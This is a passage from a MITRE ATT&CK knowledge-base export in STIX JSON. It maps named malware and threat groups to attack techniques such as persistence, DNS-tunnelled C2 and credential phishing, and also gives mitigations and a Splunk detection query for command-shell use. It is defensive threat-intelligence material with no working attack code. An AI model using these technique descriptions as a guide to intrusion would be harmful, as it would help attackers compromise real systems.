activity.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Sysmon v6 May 2017","description":"Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.","url":"https://docs.microsoft.com/sysinternals/downloads/sysmon"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8dd1ec07-e429-473d-84db-125fd22ab709","type":"relationship","created":"2021-10-13T13:35:17.100Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-10-13T13:35:17.100Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used tools to identify if a mouse is connected to a targeted system.(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8dd22b15-a9bb-4acc-8fac-e366756ab50b","type":"relationship","created":"2020-11-30T16:43:50.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Bazar September 2020","url":"https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware","description":"Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."}],"modified":"2020-11-30T16:43:50.910Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can use Winlogon Helper DLL to establish persistence.(Citation: Zscaler Bazar September 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8dd3bed4-1e3c-4a08-9181-669b5ca03075","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lazarus RATANKBA","description":"Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"},{"source_name":"RATANKBA","description":"Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.","url":"https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}],"modified":"2020-09-02T18:46:33.468Z","description":"[RATANKBA](https://attack.mitre.org/software/S0241) gathers the victim’s IP address via the ipconfig -all command.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)","relationship_type":"uses","source_ref":"malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8dd45f3b-a005-40b3-a6ef-c1ef208e8504","type":"relationship","created":"2020-03-19T17:44:44.695Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Xbash Sept 2018","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/","description":"Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018."}],"modified":"2020-06-23T20:41:28.698Z","description":"[Xbash](https://attack.mitre.org/software/S0341) can execute malicious JavaScript payloads on the victim’s machine.(Citation: Unit42 Xbash Sept 2018)","relationship_type":"uses","source_ref":"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8dd83463-b0cb-46e9-a01a-b22c6780066f","type":"relationship","created":"2020-05-21T21:31:34.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Pony April 2016","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/","description":"hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}],"modified":"2020-06-15T21:31:38.116Z","description":"[Pony](https://attack.mitre.org/software/S0453) has collected the Service Pack, language, and region information to send to the C2.(Citation: Malwarebytes Pony April 2016)\t","relationship_type":"uses","source_ref":"malware--222ba512-32d9-49ac-aefd-50ce981ce2ce","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8dd9d97d-0eb1-4e17-94ac-5589db51f878","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Shamoon Nov 2016","description":"FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.","url":"https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"},{"source_name":"Palo Alto Shamoon Nov 2016","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"}],"modified":"2021-02-09T13:42:15.362Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) copies an executable payload to the target system by using [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) and then scheduling an unnamed task to execute the malware.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8dda1296-0835-4748-92a3-24b34eb8a084","type":"relationship","created":"2021-08-04T20:54:03.286Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-04T20:54:03.286Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ddf6a79-a4ff-4229-9923-bec8fe120ceb","type":"relationship","created":"2021-02-08T23:18:31.890Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-02-08T23:18:31.890Z","description":"[BitPaymer](https://attack.mitre.org/software/S0570) has attempted to install itself as a service to maintain persistence.(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8de247e5-8d6b-4a07-bd65-ba3c3ca57923","type":"relationship","created":"2020-03-17T00:38:52.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Cobalt Group July 2018","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"},{"source_name":"PTSecurity Cobalt Dec 2016","description":"Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.","url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"},{"source_name":"Group IB Cobalt Aug 2017","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","url":"https://www.group-ib.com/blog/cobalt"}],"modified":"2020-03-17T00:38:52.195Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has used DNS tunneling for C2.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8de816a1-c89b-47ea-9456-c3bc139e6885","created":"2020-07-15T20:23:36.449Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevx Carberp March 2011","description":"Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20231227000328/http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:17:52.256Z","description":"[Carberp](https://attack.mitre.org/software/S0484) has searched the Image File Execution Options registry key for \"Debugger\" within every subkey.(Citation: Prevx Carberp March 2011)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8debe90d-927a-4195-b796-793e9b1730ee","type":"relationship","created":"2021-06-03T20:16:27.265Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-06-03T20:16:27.265Z","description":"[HELLOKITTY](https://attack.mitre.org/software/S0617) has the ability to enumerate network resources.(Citation: FireEye FiveHands April 2021)","relationship_type":"uses","source_ref":"malware--5d11d418-95dd-4377-b782-23160dfa17b4","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8dec7181-81a7-4f77-8b83-81e93cf09f10","type":"relationship","created":"2020-10-20T17:59:21.220Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-22T16:35:54.116Z","description":"Restrict use of protocols without encryption or authentication mechanisms. Limit access to administrative and management interfaces from untrusted network sources. ","relationship_type":"mitigates","source_ref":"course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f","target_ref":"attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8df1a464-9623-46bf-b23b-0430aa0a8c44","type":"relationship","created":"2019-01-29T14:51:06.828Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.","url":"https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/","source_name":"Nccgroup Gh0st April 2018"}],"modified":"2021-03-29T19:49:11.282Z","description":"[gh0st RAT](https://attack.mitre.org/software/S0032) uses RC4 and XOR to encrypt C2 traffic.(Citation: Nccgroup Gh0st April 2018)","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8df2f4b5-3f60-4b8f-b4aa-dd76eb347ab0","type":"relationship","created":"2019-07-17T21:15:42.984Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-19T16:57:27.410Z","description":"Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8df70aec-5237-4534-9439-e701dfca5cce","created":"2022-07-08T12:46:15.543Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"","modified":"2022-07-08T12:46:15.543Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--df1bc34d-1634-4c93-b89e-8120994fce77","target_ref":"attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8dfa76a0-f72a-4db0-b0a8-7a8924e1f40f","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T20:47:05.503Z","description":"Monitor executed commands and arguments that may abuse the Windows command shell for execution. Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nAnalytic 1 - Look for unusual command shell execution.\n\n sourcetype=WinEventLog:Security\n| search (EventCode=4688 OR EventCode=4689) process_name=\"cmd.exe\"\n| eval suspicious_cmd=if(like(command_line, \"%/c%\") OR like(command_line, \"%.bat%\") OR like(command_line, \"%.cmd%\"), \"Yes\", \"No\")\n| where suspicious_cmd=\"Yes\"","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8dfa86a7-1b39-4457-bd41-c1ff62685711","type":"relationship","created":"2020-01-24T18:50:29.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T18:50:29.218Z","relationship_type":"revoked-by","source_ref":"attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352","target_ref":"attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8dfb6f79-5a9a-4eb8-9b25-40d82ff0f668","created":"2020-03-17T02:02:46.920Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT34 July 2019","description":"Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34’s Invite to Join Their Professional Network. Retrieved August 26, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"},{"source_name":"Check Point APT34 April 2021","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/"},{"source_name":"FireEye APT34 Webinar Dec 2017","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"},{"source_name":"Unit42 OilRig Playbook 2023","description":"Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.","url":"https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-06T20:35:19.292Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used DNS for C2 including the publicly available requestbin.net tunneling service.(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT34 July 2019)(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8dfc49f1-b57c-4259-b27c-dd65a564f716","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions (including memberships in privileged groups) being granted to compromised accounts.","source_ref":"x-mitre-data-component--05d5b5b4-ef93-4807-b05f-33d8c5a35bc5","target_ref":"attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8dfdc783-d869-498b-b4e0-1d75b30e2d67","type":"relationship","created":"2019-10-03T15:30:27.826Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-08T21:27:49.213Z","description":"Limit permissions associated with creating and modifying platform images or containers based on the principle of least privilege.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8dfddd1a-dd5f-461f-86ce-ba1fd557a397","type":"relationship","created":"2020-02-21T22:21:10.156Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-06-20T22:26:33.386Z","description":"Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. ","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8e03a9bc-a701-4797-8f0e-0eb17f32ddac","created":"2021-05-03T18:58:02.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Google Iran Threats October 2021","description":"Bash, A. (2021, October 14). Countering threats from Iran. Retrieved January 4, 2023.","url":"https://blog.google/threat-analysis-group/countering-threats-iran/"},{"source_name":"Certfa Charming Kitten January 2021","description":"Certfa Labs. (2021, January 8). Charming Kitten’s Christmas Gift. Retrieved May 3, 2021.","url":"https://blog.certfa.com/posts/charming-kitten-christmas-gift/"},{"source_name":"ClearSky Kittens Back 3 August 2020","description":"ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf"},{"source_name":"Proofpoint TA453 July2021","description":"Miller, J. et al. (2021, July 13). Operation SpoofedScholars: A Conversation with TA453. Retrieved August 18, 2021.","url":"https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453"},{"source_name":"Proofpoint TA453 March 2021","description":"Miller, J. et al. (2021, March 30). BadBlood: TA453 Targets US and Israeli Medical Research Personnel in Credential Phishing Campaigns. Retrieved May 4, 2021.","url":"https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential"},{"source_name":"Microsoft Iranian Threat Actor Trends November 2021","description":"MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T15:04:47.754Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used SMS and email messages with links designed to steal credentials or track victims.(Citation: Certfa Charming Kitten January 2021)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Proofpoint TA453 March 2021)(Citation: Proofpoint TA453 July2021)(Citation: Google Iran Threats October 2021)(Citation: Microsoft Iranian Threat Actor Trends November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e08658c-78f5-4bd5-a6e8-d74200ed776c","type":"relationship","created":"2020-07-27T15:21:26.239Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}],"modified":"2020-07-27T17:47:34.013Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) can parse the hard drive on a compromised host to identify specific file extensions.(Citation: Talos Promethium June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8e09a040-057f-4b15-80c3-e7e299b274df","created":"2024-03-25T20:54:17.342Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"},{"source_name":"MSTIC Octo Tempest Operations October 2023","description":"Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T20:54:17.342Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) enumerates data stored within victim code repositories, such as internal GitHub repositories.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: MSTIC Octo Tempest Operations October 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8e0d4a0f-efad-4ee8-bbda-f708dca5ebe6","created":"2022-10-11T19:13:25.140Z","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T19:13:25.140Z","description":"[Moses Staff](https://attack.mitre.org/groups/G1009) has used signed drivers from an open source tool called DiskCryptor to evade detection.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"intrusion-set--4c4a7846-45d5-4761-8eea-725fa989914c","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8e0dd075-33a5-464a-822e-f0878982ebf8","created":"2023-10-12T17:52:54.242Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-12T17:54:15.660Z","description":"[NightClub](https://attack.mitre.org/software/S1090) has created a service named `WmdmPmSp` to spoof a Windows Media 